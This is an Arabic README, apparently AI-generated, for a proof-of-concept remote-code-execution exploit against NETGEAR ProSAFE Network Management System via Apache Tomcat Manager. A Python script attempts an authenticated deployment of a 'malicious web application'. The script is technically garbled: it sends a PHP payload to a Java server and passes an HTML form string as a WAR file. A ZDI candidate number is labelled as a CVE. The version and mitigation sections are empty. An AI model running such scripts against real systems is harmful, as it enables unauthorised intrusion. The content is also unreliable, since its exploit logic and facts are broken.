
إثبات المفهوم لاستغلال يوضح تنفيذ التعليمات البرمجية عن بُعد في نظام إدارة الشبكة NETGEAR ProSAFE عبر Apache Tomcat الضعيف، مع سكريبت نشر بلغة بايثون وإرشادات التخفيف.
إليك ملف README.md منظم لـ PoC لثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) في نظام إدارة شبكات NETGEAR ProSAFE:
يحتوي هذا المستودع على برنامج نصي لإثبات المفهوم (PoC) يوضح ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) في نظام إدارة شبكات NETGEAR ProSAFE. تعود هذه الثغرة إلى استخدام إصدار ضعيف من Apache Tomcat داخل مثبت المنتج. تسمح هذه المشكلة للمهاجمين الموثقين بتنفيذ تعليمات برمجية عشوائية على التثبيتات المتأثرة.
CVE-ID: ZDI-CAN-22868
نظرة عامة: يحتوي نظام إدارة شبكات NETGEAR ProSAFE على ثغرة تنفيذ التعليمات البرمجية عن بُعد بسبب استخدام إصدار ضعيف من Apache Tomcat. يمكن للمهاجم الذي لديه توثيق استغلال هذه الثغرة لتنفيذ تعليمات برمجية عشوائية على النظام المتأثر بسياق SYSTEM.
الإصدارات المتأثرة:
التوثيق: مطلوب
يوضح هذا PoC كيف يمكن للمهاجم استغلال الثغرة لتحقيق تنفيذ التعليمات البرمجية عن بُعد. يكمن الخلل المحدد داخل مثبت المنتج بسبب استخدام إصدار قديم أو ضعيف من Apache Tomcat.
يوضح البرنامج النصي التالي كيفية استغلال ثغرة RCE هذه. تأكد من حصولك على الأذونات المناسبة قبل تشغيل هذا PoC.
هام: هذا PoC مخصص للأغراض التعليمية فقط ولا ينبغي استخدامه في أنشطة غير مصرح بها أو ضارة.
import requests
# Configuration
target_url = "http://target-ip:port/manager/html" # Change this to the Tomcat Manager URL of the target
username = "admin" # Change to the valid username
password = "password" # Change to the valid password
# The payload to be executed on the remote server
payload = """
<?php
// Payload to execute arbitrary PHP code
system('whoami');
?>
"""
# Tomcat Manager URL path for deploying a new web application
deploy_url = f"{target_url}/deploy?path=/example&update=true"
# Headers for authentication
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
def exploit_rce(url, username, password, payload):
"""
Exploit the RCE vulnerability by deploying a malicious web application.
Args:
url (str): The Tomcat Manager URL.
username (str): The Tomcat Manager username.
password (str): The Tomcat Manager password.
payload (str): The malicious payload to be executed.
"""
try:
# Create a new web application with the malicious payload
response = requests.post(
url,
headers=headers,
data={
"path": "/example",
"war": f"<form method='post' enctype='multipart/form-data'><input type='file' name='file' value='{payload}'/></form>"
},
auth=(username, password)
)
# Print the response details
print("Status Code:", response.status_code)
print("Response Body:", response.text)
if response.status_code == 200 and "Deployed application" in response.text:
print("[+] Successfully deployed the malicious web application.")
else:
print("[-] Failed to deploy the malicious web application.")
except requests.RequestException as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
print(f"Exploiting RCE vulnerability at: {deploy_url}")
exploit_rce(deploy_url, username, password, payload)
target_url إلى عنوان URL الخاص بـ Tomcat Manager للنظام الهدف، وقم بتحديث username و password ببيانات اعتماد صالحة.exploit_rce() طلب POST لنشر تطبيق الويب الضار.لتخفيف هذه الثغرة، اتبع الخطوات التالية:
باتباع هذه الخطوات، يمكنك معالجة ثغرة RCE في نظام إدارة شبكات NETGEAR ProSAFE وتعزيز الأمان العام.
يوفر ملف README.md هذا وصفًا تفصيليًا وبرنامجًا نصيًا لـ PoC لثغرة RCE، بما في ذلك تعليمات الإعداد والاعتبارات ونصائح التخفيف.